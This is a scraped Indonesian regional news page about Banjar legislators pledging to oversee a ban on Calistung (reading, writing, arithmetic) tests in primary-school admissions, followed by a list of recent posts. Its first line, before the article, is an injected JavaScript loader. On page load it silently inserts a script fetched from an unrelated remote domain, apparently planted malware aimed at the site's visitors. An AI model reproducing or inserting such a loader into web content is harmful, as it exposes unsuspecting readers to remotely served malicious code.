(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pendidikan

Tes Calistung Tak Boleh, Komisi IV Janji Awasi Penerimaan Siswa SD


MARTAPURA, Komisi IV DPRD Banjar janji akan mengawal kebijakan penghapusan tes membaca menulis berhitung (Calistung) saat penerimaan peserta didik baru tingkat SD, tahun ajaran baru nanti.

Perlu diketahui Tes Calistung memang menjadi pro dan kontra ketika anak usia 6-7 tahun sebelum memasuki SD. Hal tersebut sangat tidak tepat, karena anak usia 4-6 tahun dan masih duduk di bangku TK, belum saatnya untuk menerima pelajaran Calistung.

Wakil Ketua Komisi IV DPRD Banjar Khairuddin kepada Kanal Kalimantan mengatakan,

akan menggunakan berbagai cara untuk meningkatkan kualitas pendidikan, salah satunya dengan menggunakan dana Reses. “Karena itu dana rakyat maka akan kita kembalikan hasilnya kepada rakyat juga,” jelasnya.

“Kita akan menyampaikan tentang presepsi tes calistung K-13 di kelas satu SD ini akan betul-betul sesuai dengan kompetensi dasarnya,” katanya.

Secara teoritis, belum ada teori pendidikan yang membolehkan pelaksanaan ujian calistung bagi anak SD. Misalkan saja teori Piaget tentang perkembangan mental anak. Menurut teori ini, anak yang berumur 4-6 tahun tahap berpikirnya baru pada tahap intuitif. Artinya, anak seumuran tersebut, daya atau kemampuan mengetahui atau memahami sesuatu tanpa dipikirkan atau dipelajari.

Lebih jelasnya mengetahui dan memahami sesuatu itu baru berdasarkan perasaan atau insting saja, tanpa melalui pembelajaran yang tersistematis. Dari teori tersebut, dapat disimpulkan bahwa anak pada tahap itu belum siap menerima pembelajaran yang bersifat kognisi, termasuk apa yang dimaksud dengan calistung tersebut.

Masih menurut Khairuddin, nantinya Reses tersebut akan dilaksanakan di beberapa titik seperti di Kecamatan Astambul, Martapura Barat, Martapura Kota, Sungai Tabuk dan Kecamatan Kertak hanyar dan akan dilaksanakan Juli saat awal tahun ajaran tahun 2018.

“Harus ada persamaan persepsi kesepakatan kepada guru-guru yang ada soal calistung itu,” pungkasnya. (rendy)

Reporter:Rendy
Editor : Abi Zarrin Al Ghifari

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Wabup Kapuas Kunjungi Kecamatan Kapuas Hulu dan Mandau Talawang

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo bersama jajaran menempuh jalur sungai dan darat… Read More

11 jam ago

Unjuk Rasa di HSU, GOSTI: Berikan Jabatan ke Orang yang Bertanggung Jawab

‎KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mendapatkan dukungan menjalankan pemerintahan bersih… Read More

12 jam ago

Pesan Edukatif Street Art Dakwah South Borneo Lewat Mural dan Grafiti

KANALKALIMANTAN.COM, BANJARMASIN - Street Art Dakwah South Borneo memanfaatkan seni mural dan grafiti sebagai alat… Read More

12 jam ago

Unjuk Rasa di Halaman DPRD HSU

KANALKALIMANTAN.COM, AMUNTAI – Massa yang tergabung dalam Lembaga Swadaya Masyarakat (LSM) Gerakan Organisasi Sosial Terintegritas… Read More

13 jam ago

Wabup Balangan Serahkan Beasiswa Program KBP ke 1.511 Pelajar

KANALKALIMANTAN.COM, PARINGIN - Wakil Bupati (Wabup) Balangan, Akhmad Fauzi, menyerahkan beasiswa program Kartu Balangan Pintar… Read More

13 jam ago

DKISP Banjar Gelar Penandatanganan Pakta Integritas

KANALKALIMANTAN.COM, MARTAPURA – Kepala Dinas Komunikasi, Informatika, Statistik, dan Persandian (DKISP) Kabupaten Banjar HM Aidil… Read More

14 jam ago

This website uses cookies.